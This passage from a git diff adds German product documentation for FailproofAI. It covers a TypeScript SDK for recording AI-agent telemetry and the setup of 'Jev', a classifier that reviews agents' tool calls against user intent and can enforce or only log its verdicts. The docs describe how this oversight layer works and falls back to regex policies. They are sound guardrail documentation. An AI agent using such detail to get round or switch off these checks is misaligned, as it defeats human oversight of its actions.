+```
+
+```ts
+import * as failproofai from "@failproofai/sdk";
+
+await failproofai.agent("planner", { goal: question }, async () => {
+ const hits = await failproofai.toolCall("web_search", { input: { q } }, () => search(q));
+});
+```
+
+Die Framework-Adapter sind im Paket selbst enthalten. Die Frameworks sind **optionale Peer-Abhängigkeiten** – so deklariert, dass die unterstützten Versionsbereiche sichtbar sind, niemals in deinem Namen installiert und nur importiert, wenn du `instrument()` aufrufst.
+
+## Verbindung zum Failproof-Daemon
+
+Identisch mit dem Python SDK: Erstelle einen `events:add`-Schlüssel unter **Admin → Keys**, dann [verbinde den Daemon](/de/start/setup#connect-a-machine-to-cloud) auf dem Agenten-Rechner. Das SDK schreibt auf die Festplatte; der Daemon versendet.
+
+## Konfiguration
+
+```ts
+failproofai.configure({
+ environment: "production",
+ flushInterval: 0.5,
+ baseDir: undefined,
+});
+```
+
+| Option | Beschreibung |
+| --- | --- |
+| `environment` | Die Bezeichnung für jedes Event – `production`, `staging`, `prod-eu`. Standard: `dev`. |
+| `flushInterval` | Wie oft der Timer auf die Festplatte schreibt, in Sekunden. Standard: `0.5`. |
+| `baseDir` | Wohin geschrieben wird. Standardmäßig der Spool des Daemons, was in der Regel das Richtige ist. |
+
+Nichts wird angewendet, solange nicht alles validiert ist. Ein abgelehnter Aufruf lässt das SDK genau so zurück, wie es war – nicht mit einem neuen `baseDir` und dem alten Intervall.
+
+Alternativ per Umgebungsvariable setzen:
+
+| Variable | Beschreibung |
+| --- | --- |
+| `AGENTEYE_ENVIRONMENT` | Setzt `environment` ohne Code-Änderung. Eine `configure()`-Option hat Vorrang. |
+| `FAILPROOFAI_HOME` | Verschiebt das Failproof AI-Stammverzeichnis, das den Spool enthält. |
+| `FAILPROOFAI_SDK_LOG_LEVEL` | `debug`, `info`, `warn` (Standard), `error`, `silent`. |
+| `FAILPROOFAI_SDK_STRICT` | `1` lässt Instrumentierungsfehler werfen, anstatt sie zu protokollieren. |
+| `FAILPROOFAI_SDK_STRICT_INTEGRATIONS` | `1` lässt ein Framework-Kompatibilitätsproblem werfen, anstatt zu warnen und fortzufahren. |
+
+
+ **Kein Komma in `environment`.** Die Aufnahme teilt dieses Feld an Kommas auf, um Filter zu erstellen, und überspringt jeden Event, dessen Bezeichnung eines enthält – dadurch verschwindet ein ganzer Durchlauf stillschweigend. Schreibe `prod-eu`, nicht `prod,eu`.
+
+ `configure({ environment: "prod,eu" })` wirft eine Exception, damit du es sofort bemerkst. `AGENTEYE_ENVIRONMENT` kann nicht werfen – niemand ruft dich zurück – daher wird einmalig gewarnt und auf `dev` zurückgefallen.
+
+
+Leite die eigenen Log-Zeilen des SDK mit `failproofai.setLogger({ debug, info, warn, error })` in deinen Logger um.
+
+## Herunterfahren
+
+Gepufferte Events werden beim `process.on("exit")` geleert.
+
+Ein durch ein Signal beendeter Prozess erreicht diesen Punkt nie, und Node's Standard für `SIGTERM` ist, ohne Ausführung von Exit-Handlern zu beenden – ein containerisierter Agent verliert also alles, was das letzte Intervall noch nicht geschrieben hatte.
+
+
+ **Dieses SDK installiert keinen Signal-Handler für dich.** Das Registrieren eines Handlers ändert das Verhalten deines Prozesses: Ein Listener unterdrückt Node's Standard-Beendigung, sodass eine Bibliothek, die einen hinzufügt, Ctrl-C stillschweigend außer Kraft setzen würde. Füge deinen eigenen hinzu:
+
+ ```ts
+ for (const signal of ["SIGINT", "SIGTERM"] as const) {
+ process.once(signal, () => {
+ failproofai.flushSync();
+ process.exit(0);
+ });
+ }
+ ```
+
+
+Ein kurzlebiges Skript oder ein Serverless-Handler sollte `await failproofai.flush()` vor der Rückgabe aufrufen – das Intervall allein garantiert keine Zustellung.
+
+## Identität
+
+Jedes Event gehört zu einer Session und einem Agenten. **Die Scopes füllen beides aus**, sodass du sie selten übergeben musst:
+
+```ts
+await failproofai.session(async () => {
+ await failproofai.agent("planner", async () => {
+ failproofai.event.toolUse({ toolName: "search", toolCallId: "c1" });
+ });
+});
+```
+
+`sessionId` oder `agentId` explizit zu übergeben funktioniert weiterhin und hat Vorrang. Wenn weder ein Scope gebunden noch ein Wert übergeben wird, wirft der Aufruf eine Exception, anstatt ein Event zu emittieren, das Cloud stillschweigend verwerfen würde.
+
+
+ Identität wird über `AsyncLocalStorage` weitergegeben. Sie folgt `await`, `.then()`, Timern und jedem Callback, der innerhalb des Scopes erstellt wird. Sie folgt **nicht** einem Callback, der während eines Durchlaufs gespeichert und während eines anderen aufgerufen wird, oder Arbeit, die über eine `worker_threads`-Grenze übergeben wird – wickle diese in `failproofai.propagate()` ein, sonst landen ihre Events ohne Zuordnung.
+
+
+### Scopes
+
+| Scope | Emittiert | Gibt zurück |
+| --- | --- | --- |
+| `session(body)` | nichts – nur Identität | was `body` zurückgibt |
+| `agent(id, options?, body)` | `agent_start`, dann `agent_end` | was `body` zurückgibt |
+| `toolCall(name, options?, body)` | `tool_use`, dann `tool_result` | was `body` zurückgibt |
+
+Ein synchroner Body bleibt synchron: `agent("x", () => 1)` gibt `1` zurück, kein Promise.
+
+`toolCall` zeichnet den aufgelösten Wert des Bodys als `output` des Tools auf, es sei denn, du weist `call.output` selbst zu.
+
+
+
+| Was passiert ist | Events | `outcome` |
+| --- | --- | --- |
+| Der Block hat zurückgegeben | `agent_end` | `"success"`, oder dein `outcome` |
+| Der Block hat geworfen | `error`, dann `agent_end` | `"failed"` |
+| Ein `AbortError` | nur `agent_end` | `"cancelled"` |
+
+Der Fehler wird immer erneut geworfen.
+
+Ein Tool-Fehler wird auf dem Blatt aufgezeichnet – `tool_result` mit einem `error`-String – und emittiert **kein** `error`-Event auf Durchlauf-Ebene. Einer, den die Agenten-Schleife abfängt, ist kein Durchlauffehler; einer, der sich weiterpropagiert, wird genau einmal gemeldet, vom umschließenden `agent()`.
+
+
+
+
+
+Wenn die Arbeit keine einzelne Funktion ist – ein Scope, der in einem Konstruktor geöffnet und in einem Teardown geschlossen wird, oder einer, der bestehenden Kontrollfluss überspannt:
+
+```ts
+{
+ using span = failproofai.agent.open("planner", { goal });
+ using call = failproofai.toolCall.open("search", { input: { q } });
+ call.call.output = await search(q);
+} // tool_result, dann agent_end
+```
+
+Beide Formen emittieren byte-identische Events. Bevorzuge die Callback-Form: Sie läuft innerhalb von `AsyncLocalStorage.run()`, sodass es nichts abzuwickeln gibt und die gesamte Klasse von „hier geöffnet, dort geschlossen"-Fehlern nicht erreichbar ist.
+
+Ein `using`-Block, der seinen eigenen Fehler abfängt, meldet ihn mit `span.fail(error)` – der Disposer hat keinen eigenen Exception-Kanal.
+
+
+
+## Event-Katalog
+
+Dieselben fünfzehn Methoden wie das Python SDK, in camelCase. Die meisten kommen in **Paaren** – du rufst den Öffner auf, dann den Schließer, und das SDK misst die Zeitspanne dazwischen.
+
+| | Öffnet | Schließt |
+| --- | --- | --- |
+| **Agenten** | `agentStart` | `agentEnd` |
+| | `agentPause` | `agentResume` |
+| **Modelle** | `modelRequest` | `modelResponse` |
+| **Tools** | `toolUse` | `toolResult` |
+| **Hooks** | `hookTriggered` | `hookCompleted` |
+| **Menschen** | `humanWait` | `humanInput` |
+
+Drei stehen allein: `error`, `humanPause`, `humanInterrupt`.
+
+
+
+Jede Methode akzeptiert auch `sessionId` und `agentId`, die die Scopes für dich ausfüllen. Alles Weggelassene wird weggelassen, anstatt als JSON `null` gesendet zu werden.
+
+| Methode | Erforderlich | Optional |
+| --- | --- | --- |
+| `agentStart` | — | `goal`, `parentId` |
+| `agentEnd` | — | `outcome`, `summary` |
+| `agentPause` | `pauseId` | `reason`, `userId` |
+| `agentResume` | `pauseId` | `reason`, `userId` |
+| `modelRequest` | — | `model`, `messages`, `system`, `tools`, `requestId` |
+| `modelResponse` | — | `model`, `stopReason`, `inputTokens`, `outputTokens`, `content`, `role`, `requestId` |
+| `toolUse` | `toolName`, `toolCallId` | `input` |
+| `toolResult` | `toolName`, `toolCallId` | `output`, `error` |
+| `hookTriggered` | `hookName`, `hookId` | `triggerEvent`, `input` |
+| `hookCompleted` | `hookName`, `hookId` | `outcome`, `output`, `error` |
+| `error` | `errorType`, `message` | `traceback` |
+| `humanWait` | `inputId` | `prompt`, `options`, `reason` |
+| `humanInput` | `inputId` | `response` |
+| `humanPause` | — | `reason`, `userId` |
+| `humanInterrupt` | — | `reason`, `userId`, `atStep` |
+
+Jeder weitere Schlüssel, den du hinzufügst, wird zu einem benutzerdefinierten Payload-Feld. Verwende den Präfix `fw_*` für Framework-spezifische Inhalte; ein Name, der mit einem deklarierten Feld kollidiert, wird abgelehnt, anstatt stillschweigend eine hochgestufte Spalte zu überschreiben.
+
+
+
+
+ **`duration_ms` wird berechnet, nicht akzeptiert.** Die vier schließenden Methoden messen die Zeitspanne seit ihrem Öffner und lehnen ein vom Aufrufer übergebenes `duration_ms` ab – eine gemeldete Dauer soll nicht fälschbar sein.
+
+ Paare werden anhand der **Session** und der ID abgeglichen, niemals anhand des Agenten. Ein Tool, das unter `planner` geöffnet und unter `worker` geschlossen wird, bildet trotzdem ein Paar – genau das, was verschachtelte Multi-Agenten-Durchläufe tatsächlich tun.
+
+
+## Framework-Adapter
+
+```ts
+await failproofai.instrument(); // was auch immer gefunden wird
+await failproofai.instrument("langchain"); // genau eines
+failproofai.uninstrument(); // alles zurücksetzen
+```
+
+| Framework | Unterstützt | Wie es eingehängt wird |
+| --- | --- | --- |
+| **LangChain.js / LangGraph.js** | `@langchain/core` 0.3 – 1.x, LangGraph.js 0.4 – 1.x | `CallbackManager.configure`, sodass jeder `invoke`/`stream`/`batch` abgedeckt ist, ohne `callbacks:` irgendwo zu übergeben – oder übergib `langchainHandler()` selbst und patche nichts. |
+| **Vercel AI SDK** | `ai` 4 – 7 | `telemetry()` an der Aufrufstelle, oder `instrument("ai")` für den gesamten Prozess bei `ai` 7 (bei 4–6 ist das opt-in – siehe unten). |
+| **Mastra** | `@mastra/core` 0.20 – 1.x | `Agent.generate`/`.stream`, das Modell und die Tool-Auflösung des Agenten sowie die Workflow-Ausführungs-/Schritt-Engine. |
+| **LlamaIndex.TS** | `llamaindex` 0.11.4 – 0.x | `Settings.callbackManager` (abonniert) plus `AgentWorkflow.runStream`, für Workflow-Ausführungen und deren Schritte. |
+
+Jeder Versionsbereich wird bei jedem CI-Durchlauf gegen echte Framework-Releases – an beiden Enden, als ES-Modul und als CommonJS – getestet.
+
+Die Zuordnung entspricht der des Python SDK, sodass dasselbe Programm in beiden Sprachen denselben Baum zeichnet. Ein Konstrukt ist nur dann ein **Agent**, wenn er eine eigene LLM-Entscheidungsschleife besitzt – ein Graph- oder Chain-Durchlauf, ein AI SDK `generateText`/`streamText`-Aufruf, ein Mastra-Agent, ein LlamaIndex-Agenten-Durchlauf. Ein LangGraph-Knoten oder ein Workflow-Schritt ist ein **Hook** (`hook_triggered`/`hook_completed`), niemals ein verschachtelter Agent. Modellaufrufe sind `model_request`/`model_response`-Paare mit Token-Zählungen; Tool-Aufrufe tragen die eigene Tool-Call-ID des Modells. Ein Fehler wird einmal aufgezeichnet, bei dem Event, in dem er aufgetreten ist.
+
+Ein Adapter, der sich nicht installieren lässt, wird protokolliert und übersprungen; die anderen werden trotzdem installiert, denn ein defektes LlamaIndex darf dich LangGraph nicht kosten.
+
+
+ `instrument()` ohne Argument erkennt ein Framework daran, ob es sich **auflösen** lässt, nicht daran, ob es bereits importiert ist – Node bietet kein Äquivalent zu Python's `sys.modules` für ES-Module. Ein Framework, das du installiert, aber nicht verwendest, wird importiert und gepatcht. Gib das gewünschte Framework namentlich an, wenn das wichtig ist.
+
+
+
+ Die meisten dieser Frameworks liefern einen ES-Modul-Build und einen CommonJS-Build, die Node als zwei unabhängige Kopien lädt. Die Adapter patchen die Kopie, die deine Anwendung lädt (und die CommonJS-Kopie ebenfalls, falls etwas sie bereits mit `require` geladen hat), sodass beide Modulsysteme funktionieren. Ein Framework, das durch esbuild oder webpack **in deine eigene Ausgabe gebündelt** wurde, ist nicht erreichbar – verwende dort die Aufrufstellen-Hilfsfunktionen: `langchainHandler()`, `telemetry()`, `wrapTool()`.
+
+
+### LangChain ohne Patching
+
+```ts
+import { langchainHandler } from "@failproofai/sdk/langchain";
+await graph.invoke(input, { callbacks: [langchainHandler()] });
+```
+
+Der Handler funktioniert mit oder ohne `instrument()` und zeichnet nichts doppelt auf. `instrument("langchain")` akzeptiert `sessionId`, `captureContent`, `includeChains`, `graphCallbacks` und `captureLimit`, wie der Python-Adapter; `metadata: { failproofai_sdk_session_id }` bei einem Aufruf wählt die Session für diesen Aufruf aus.
+
+### Vercel AI SDK
+
+Das AI SDK exportiert einfache Funktionen aus einem ES-Modul, und ein ES-Modul-Namespace ist laut Spezifikation unveränderlich – es gibt nichts zu patchen. Es nutzt die Extension Points, die das SDK selbst dokumentiert:
+
+```ts
+import { telemetry } from "@failproofai/sdk/ai";
+
+const { text } = await generateText({
+ model,
+ prompt,
+ experimental_telemetry: telemetry({ functionId: "answer-question" }),
+ // bei ai 7: `telemetry: telemetry({ … })` — dasselbe Objekt, neuer Name
+});
+```
+
+Das ist die vollständige Integration: ein Agent-Span, ein Modell-Request/Response-Paar pro Schritt mit Token-Zählungen und jeder Tool-Aufruf. Eine Aufrufstelle funktioniert für jede Major-Version – `ai` 4–6 lesen den mitgegebenen Tracer, `ai` 7 die Telemetrie-Integration.
+
+`instrument("ai")` macht dasselbe prozessweit **auf `ai` 7**: jeder Aufruf, über die globale Telemetrie-Integrationsliste des AI SDK, die additiv ist und niemandem sonst etwas wegnimmt.
+
+**Auf `ai` 4–6 zeichnet `instrument("ai")` von sich aus nichts auf und gibt einmalig eine entsprechende Warnung aus.** Der einzige prozessweite Hook, den diese Major-Versionen haben, ist der globale OpenTelemetry-Tracer-Provider – ein einzelner Slot, den OpenTelemetry nicht mehr herausgibt, sobald er belegt ist. Unseren zu registrieren würde dein späteres `NodeSDK.start()` beim Start stillschweigend ablehnen und deine HTTP/Datenbank-Spans an einen Tracer senden, der nichts exportiert. Verwende `telemetry()` an der Aufrufstelle oder dort `wrapModel`. Wenn der Prozess kein eigenes OpenTelemetry betreibt, aktiviere mit `instrument("ai", { registerGlobalTracer: true })`: Es zeichnet dann jeden Aufruf auf, der `experimental_telemetry: { isEnabled: true }` übergibt, und belegt den Slot nur, wenn er noch frei ist. `registerGlobalTracer: false` behält die Standardeinstellung bei und unterdrückt die Warnung.
+
+Wenn du das Modell lieber einmalig einwickeln möchtest: `wrapModel` sieht nur Modellaufrufe, da Tool-Aufrufe oberhalb der Modellschicht stattfinden. Ein gewrapptes Modell, das ohne umgebenden Kontext aufgerufen wird, wird als eigener Durchlauf aufgezeichnet. Ein gestreamter Aufruf schließt, sobald der Stream endet – `stop_reason: "cancelled"` wenn der Verbraucher abbricht, `"error"` mit dem Fehler, wenn er mittendrin fehlschlägt:
+
+```ts
+import { wrapModel } from "@failproofai/sdk/ai";
+const model = await wrapModel(openai("gpt-4o"));
+```
+
+Beides zusammen zu verwenden ist in Ordnung: Die Middleware erkennt, dass der Aufruf bereits aufgezeichnet wird, und gibt den Vortritt, sodass jeder Aufruf einmal aufgezeichnet wird.
+
+`functionId` benennt den Agent-Span. Halte ihn niedrig-kardinal – er landet in `agent_id`, der primären Dashboard-Facette.
+
+### Next.js
+
+`next build` bündelt die Abhängigkeiten deines Servers standardmäßig, und ein in den Build gebündeltes Framework ist eine Kopie, die `instrument()` nicht erreichen kann. Wickle die Konfiguration einmalig ein und rufe `instrument()` aus Next's Startup-Hook auf:
+
+```ts
+// next.config.ts
+import { withFailproofai } from "@failproofai/sdk/next";
+export default withFailproofai({ /* deine Konfiguration */ });
+```
+
+```ts
+// instrumentation.ts
+export async function register() {
+ if (process.env.NEXT_RUNTIME !== "nodejs") return;
+ const failproofai = await import("@failproofai/sdk");
+ await failproofai.instrument();
+}
+```
+
+`withFailproofai` fügt LangChain, Mastra, LlamaIndex und das SDK selbst zu `serverExternalPackages` hinzu und erhält dabei deine eigene Liste. Ohne dies warnt `instrument()` einmalig pro Framework, das es nicht erreichen kann, anstatt stillschweigend zu versagen; wenn du die Pakete selbst auflistest, setze `FAILPROOFAI_NEXT_EXTERNALS=1`. Das Vercel AI SDK und die Aufrufstellen-Hilfsfunktionen funktionieren in beiden Fällen. Eine Edge-Route erhält einen No-Op-Build: Das Importieren des SDK ist sicher und zeichnet nichts auf.
+
+### Token-Zählungen bei gestreamten Aufrufen
+
+OpenAI-kompatible APIs melden die Nutzung bei einem Stream nur, wenn der Client danach fragt. LangChain und das Vercel AI SDK fragen; für LlamaIndex übergib `additionalChatOptions: { stream_options: { include_usage: true } }` an dessen `OpenAI`-LLM, und für Mastra baue das Modell mit aktivierter Nutzungserfassung (zum Beispiel `createOpenAICompatible({ includeUsage: true })`). Andernfalls enthalten gestreamte Modellaufrufe keine Token-Zählungen.
+
+### Laufzeitumgebungen
+
+Node ≥ 20.9, Bun und Deno – jedes Framework, als ES-Modul und als CommonJS, wird bei jedem CI-Durchlauf gegen Node's Trace getestet. Das SDK läuft neben dem `failproofaid`-Daemon, der das Geschriebene versendet.
+
+## Eigener Agent – kein Framework
+
+Für eine selbst geschriebene Agenten-Schleife oder ein Framework ohne Adapter. Du emittierst die Events mit derselben API, die die Adapter intern verwenden, sodass der Trace dieselbe Form und Qualität hat.
+
+Du musst nicht wissen, wie der Agent aufgebaut ist. Jeder handgefertigte Agent hat bereits drei Stellen, egal wie seine Funktionen heißen, und diese drei sind die gesamte Integration:
+
+| Wo | Was hinzuzufügen ist | Emittiert |
+| --- | --- | --- |
+| Wo **ein Durchlauf** beginnt und endet | `failproofai.agent("name", { goal }, async () => …)` | `agent_start` / `agent_end` |
+| Die **eine Funktion, die das Modell aufruft** | `event.modelRequest` vorher, `event.modelResponse` nachher – beide Hälften, auch bei Fehler | ein Paar pro Modell-Runde |
+| Die **eine Funktion, die Tools ausführt** | `failproofai.toolCall(name, { toolCallId, input }, () => run())` | `tool_use` / `tool_result` |
+
+```ts
+async function callModel(messages) {
+ const requestId = randomUUID();
+ const started = Date.now();
+ failproofai.event.modelRequest({ model: MODEL, requestId, messages });
+ try {
+ const reply = await client.chat.completions.create({ model: MODEL, messages, tools });
+ failproofai.event.modelResponse({
+ model: reply.model, requestId, stopReason: reply.choices[0].finish_reason,
+ inputTokens: reply.usage?.prompt_tokens, outputTokens: reply.usage?.completion_tokens,
+ duration_ms: Date.now() - started,
+ });
+ return reply.choices[0].message;
+ } catch (error) {
+ failproofai.event.modelResponse({ model: MODEL, requestId, stopReason: "error",
+ error: String(error), duration_ms: Date.now() - started });
+ throw error;
+ }
+}
+
+async function dispatch(call) {
+ const input = JSON.parse(call.function.arguments);
+ return failproofai.toolCall(call.function.name, { toolCallId: call.id, input },
+ () => runTool(call.function.name, input));
+}
+
+await failproofai.agent("inventory", { goal: question }, async () => {
+ for (;;) {
+ const message = await callModel(messages);
+ if (!message.tool_calls?.length) return message.content;
+ for (const call of message.tool_calls) await dispatch(call);
+ }
+});
+```
+
+Identität ist ambient: Alles innerhalb von `agent()` landet in der Session dieses Durchlaufs, ohne eine ID zu übergeben, und nichts anderes im Programm ändert sich – einschließlich allem, was der Agent bereits in seine eigene Datenbank schreibt.
+
+- **Ein Service oder ein Worker:** Übergib deine eigene Request- oder Job-ID als `sessionId`, damit eine Session im Dashboard und der Eintrag in deinen eigenen Logs oder der Datenbank dieselbe Zeichenkette sind.
+- **Sub-Agenten:** Verschachtle `agent()`-Aufrufe. Der innere tritt der Session des äußeren mit dessen `parent_id` bei.
+- **Emittiere die Paare.** Ein `modelRequest` ohne `modelResponse` ist ein Span, den das Dashboard als ewig laufend anzeigt – daher das `catch`.
+
+[`sdk/typescript/examples/research-agent.ts`](https://github.com/FailproofAI/failproofai/blob/main/sdk/typescript/examples/research-agent.ts) im Repository ist die vollständige, ausführbare Version: eine echte OpenAI-Tool-Schleife, genau so instrumentiert, bei jedem Commit im CI als ES-Modul und als CommonJS ausgeführt.
+
+## Evaluierungen
+
+```ts
+import { Evaluator, EvalResult, Score } from "@failproofai/sdk/evaluator";
+
+export const app = new Evaluator({ name: "my-evals", version: "1" });
+
+app.eval("tool_success_rate", { version: "1" }, (session) => {
+ const results = session.eventsOfType("tool_result");
+ const failures = results.filter((event) => event.payload.error != null).length;
+ return new EvalResult({
+ score: new Score(results.length === 0 ? 1 : 1 - failures / results.length),
+ reasoning: `${failures} of ${results.length} tool calls failed`,
+ });
+});
+```
+
+```bash
+FAILPROOFAI_EVALUATOR_URL=… FAILPROOFAI_EVALUATOR_TOKEN=… \
+ npx failproofai-evaluator ./my-evals.js
+```
+
+Siehe die [Evaluator SDK-Referenz](/de/reference/evaluator-sdk) für das Protokoll, die Worker-Einstellungen und die Ergebnistypen.
+
+
+ **Eine Evaluierung muss yielden.** Eine synchrone Funktion, die niemals zurückkehrt, blockiert den einzigen Thread, den Node hat, und kein Timeout kann feuern, solange das so ist. Schreibe `async`-Evaluierungen.
+
+
+## Was es mit deinem Prozess nicht tut
+
+| | |
+| --- | --- |
+| **Deine Agenten-Schleife blockieren** | Events gehen in eine In-Memory-Warteschlange; ein Timer schreibt sie. Der Timer ist `unref`'d, sodass das Importieren dieses Pakets ein Skript nie am Beenden hindert. |
+| **Unbegrenzt wachsen** | Die Warteschlange ist durch Anzahl *und* gemessene Bytes begrenzt. Wird einer der Grenzwerte überschritten, werden die ältesten Events verworfen und eine Warnung ausgegeben – ein Telemetrie-Ausfall darf kein OOM-Kill werden. |
+| **Den Prozess zum Absturz bringen** | Ein nicht kodierbares Event wird allein verworfen, nicht der umgebende Batch. Ein werfender Getter, eine zirkuläre Referenz, ein `BigInt`, ein einzelnes Surrogate: jedes wird behandelt, anstatt weitergegeben zu werden. |
+| **Einen halb geschriebenen Batch hinterlassen** | Der Inhalt wird mit `fsync` gesichert, bevor eine atomare Umbenennung erfolgt, das Verzeichnis danach, und ein fehlgeschlagener Schreibvorgang räumt seine temporäre Datei auf. |
+| **Transkripte lesbar hinterlassen** | Batches sind `0600` innerhalb eines `0700`-Verzeichnisses. Sie enthalten Ziele, Prompts, Tool-Argumente und Tool-Ausgaben. |
+| **Zugangsdaten versenden** | API-Schlüssel, Tokens, JWTs, Bearer-Header und geheimnis-förmige Zuweisungen werden redigiert, bevor die Bytes die Festplatte erreichen. Der Daemon redigiert erneut vor dem Upload. |
\ No newline at end of file
diff --git a/docs/de/reference/jev-cloud.mdx b/docs/de/reference/jev-cloud.mdx
new file mode 100644
index 000000000..007bea811
--- /dev/null
+++ b/docs/de/reference/jev-cloud.mdx
@@ -0,0 +1,136 @@
+---
+title: "Jev über FailproofAI Cloud"
+description: "Cloud-Machine-Keys, Verbindungsstatus, Limits und Fehlerverhalten für die Live-Jev-Richtlinienprüfung."
+icon: "cloud"
+---
+
+Dies ist die Cloud-Routen-Referenz für [Jev-Richtlinien](/de/policies/jev). Jev, der Klassifikator von TypeSafe, liest jeden Tool-Aufruf im Abgleich mit dem, was du tatsächlich angefordert hast, und gibt seine Einschätzung neben deinen Richtlinien aus – niemals anstelle davon. Über **FailproofAI Cloud** verwendet eine verbundene Maschine Jev mit demselben Key, mit dem sie sich bereits verbindet: kein TypeSafe-Account, kein zweiter Key, kein zu konfigurierender Endpoint. Jeder Aufruf wird dem bestehenden Plan-Kontingent deiner Organisation belastet.
+
+Alles, was Jev tut, ist unverändert gegenüber dem [Bring-Your-Own-Key-Setup](/de/reference/jev-providers): Harte Richtlinien bleiben endgültig, das Deny einer überprüfbaren Richtlinie wird nur dann aufgehoben, wenn Jev genau zu diesem Anliegen befragt wurde, und jeder Fehler fällt für diesen Aufruf auf das Regex-Ergebnis zurück.
+
+
+Erfordert **failproofai 1.0.8-beta.0** oder höher. 1.0.7 hat kein Jev, auch wenn es in der Sortierung über den 1.0.7-Betas erscheint. Ohne eine Jev-Konfiguration ändert sich nichts: Hooks führen die Regex-Richtlinien genau wie bisher aus.
+
+
+## Voraussetzungen
+
+Installiere Failproof AI auf der Maschine, auf der dein Agent läuft, und verbinde deren Hooks mit einem [unterstützten Harness](/de/reference/harnesses). Wenn du von Grund auf neu beginnst, folge der [Schnellstartanleitung](/de/start/quickstart) bis zur Hook-Installation. Prüfe die installierte CLI mit `failproofai --version`; aktualisiere sie, wenn sie älter als Jev ist. Du benötigst außerdem Zugang zur Seite **Administration → Keys** deiner Organisation, um einen Machine-Key zu erstellen.
+
+Jev prüft benannte Tool-Aufrufe am `PreToolUse`- oder `PermissionRequest`-Gate. Es prüft nicht jedes Ereignis in einer Sitzung. Um zu sehen, wie Jev ein Policy-Deny aufhebt, benötigst du eine installierte Richtlinie, die als [reviewable](/de/policies/authority) markiert ist; alle anderen Policy-Denys bleiben endgültig.
+
+## Aktivierung
+
+1. **Erstelle einen Key mit Jev.** Öffne im FailproofAI Cloud-Dashboard **Administration → Keys → Key erstellen** und wähle das **machine**-Preset. Es gewährt die drei Berechtigungen, die eine Maschine benötigt: `events:add` (Aktivität senden), `policies:pull` (Richtlinien empfangen) und `jev:evaluate` (Jev, dem Plan deiner Organisation belastet). Ein Key kann `jev:evaluate` nicht ohne die anderen beiden tragen.
+2. **Verbinde die Maschine** mit diesem Key. Lies das einmalige Secret an einer Eingabeaufforderung, dann führe den vollständigen Setup-Befehl aus:
+
+ ```bash
+ read -rs FAILPROOFAI_CLOUD_TOKEN && export FAILPROOFAI_CLOUD_TOKEN
+ failproofai config
+ ```
+
+ `failproofai config` installiert den Daemon, bindet Hooks für die gefundenen Agent-CLIs ein und verbindet die Maschine. Die Umgebungsvariable hält den Key aus den Befehlsargumenten und dem Shell-Verlauf heraus. Wenn dein Harness später installiert wurde, [binde ihn explizit ein](/de/start/quickstart).
+
+ Wenn deine Organisation ihr eigenes FailproofAI Cloud betreibt statt des gehosteten Dienstes, füge dessen Adresse hinzu: `--url https://` (oder exportiere `FAILPROOFAI_CLOUD_URL`). Ohne diese Angabe wird der Key gegen den gehosteten Dienst geprüft und die Verbindung schlägt fehl. Wenn das Zertifikat dieses Hosts von einer privaten CA stammt, installiere die CA im System-Truststore der Maschine (z.B. mit `update-ca-certificates`), nicht nur in `NODE_EXTRA_CA_CERTS`: Der Daemon, der Ereignisse sendet und Richtlinien abruft, liest den System-Truststore. Siehe [Troubleshooting](/de/reference/troubleshooting).
+
+Das ist alles. Die Verbindung speichert den Key und schaltet Jev – wenn die Maschine **noch keine** Jev-Konfiguration hat – über FailproofAI Cloud im **observe**-Modus ein: Sobald ein Pack Prüfungen bereitstellt, wird Jev zu jedem gated Tool-Aufruf befragt und seine Urteile werden aufgezeichnet, aber das Ergebnis deiner Richtlinien ist das, was durchgesetzt wird. Die Ausgabe zeigt dies an:
+
+```text
+ Jev on through FailproofAI Cloud, in observe mode: logged, not enforced (~/.failproofai/jev.json).
+```
+
+Jev fragt immer noch nichts, bis ein Pack ihm Prüfungen bereitstellt. Failproof AI liefert keine; solange kein installierter Pack welche deklariert, fügt die Ausgabe eine entsprechende Zeile hinzu, und `failproofai jev status` wiederholt dies. Installiere sie mit:
+
+```bash
+failproofai policies add FailproofAI/jev-policies
+```
+
+**Mit `--no-transcripts` schaltet die Verbindung Jev nicht ein.** Jev sendet jeden geprüften Tool-Aufruf und den letzten Prompt an FailproofAI Cloud, was mehr ist, als eine nur-Entscheidungen-Verbindung zu senden gebeten wurde. Der Key wird trotzdem gespeichert, und die Ausgabe zeigt an, dass Jev verfügbar ist und wie man es einschaltet:
+
+```bash
+failproofai jev setup --provider failproofai
+```
+
+Es schaltet Jev auch **nicht aus**. Wenn die `jev.json` der Maschine Jev bereits über FailproofAI Cloud betreibt, bleibt sie unverändert, und die Ausgabe teilt mit, dass Jev weiterhin jeden geprüften Tool-Aufruf und den letzten Prompt sendet, und dass `failproofai jev setup --mode off` es ausschaltet.
+
+
+Die Verbindung **überschreibt niemals** eine vorhandene `~/.failproofai/jev.json`. Wenn du bereits deinen eigenen Jev-Endpoint verwendest, wird dieser weiterhin genutzt, und die Ausgabe zeigt an, dass die Datei unverändert blieb — und wenn diese Datei Jev deaktiviert lässt (abgelehnt oder ausgeschaltet), wird das ebenfalls angezeigt, zusammen mit der Lösung. Um diese Maschine auf FailproofAI Cloud umzustellen, führe `failproofai jev setup --provider failproofai` aus.
+
+
+## Observe, enforce oder off
+
+Starte im observe-Modus, beobachte auf der Richtlinienseite, was Jev getan hätte, und lass es dann handeln:
+
+```bash
+failproofai jev setup --mode enforce # Jev's verdicts apply: it may clear a reviewable deny and add its own
+failproofai jev setup --mode observe # Jev is asked and logged; your policies' result is enforced
+failproofai jev setup --mode off # keep the config, stop asking Jev
+```
+
+Denselben Schalter gibt es im lokalen Dashboard: **Settings → Jev** hat einen Ein/Aus-Schalter und observe/enforce. Es schreibt nur den Modus um und sonst nichts. Hooks lesen die Konfiguration bei jedem Tool-Aufruf, daher gilt eine Änderung ab dem nächsten Aufruf, ohne Neustart.
+
+## Status überprüfen
+
+```bash
+failproofai jev status
+failproofai jev test
+```
+
+`status` zeigt den Provider als **FailproofAI Cloud**, den Cloud-Host, mit dem die Maschine verbunden ist, den Modus und die Key-Quelle als **FailproofAI Cloud connection** – niemals den Key selbst. Wenn eine FailproofAI Cloud `jev.json` vorhanden ist, Jev aber nicht ausgeführt werden kann, wird der Grund angegeben:
+
+| `status` meldet | `status --json` | Bedeutung |
+| --- | --- | --- |
+| **off — no Jev key is stored for this machine's FailproofAI Cloud connection** | `key-lacks-jev` | Die Maschine ist verbunden, aber es ist kein Jev-Key dafür gespeichert: Der Key enthält kein `jev:evaluate`, oder die Verbindung konnte dies nicht bestätigen. Führe `failproofai config` erneut mit dem Key in `FAILPROOFAI_CLOUD_TOKEN` aus; wenn ihm die Berechtigung fehlt, verwende einen **machine**-Key. |
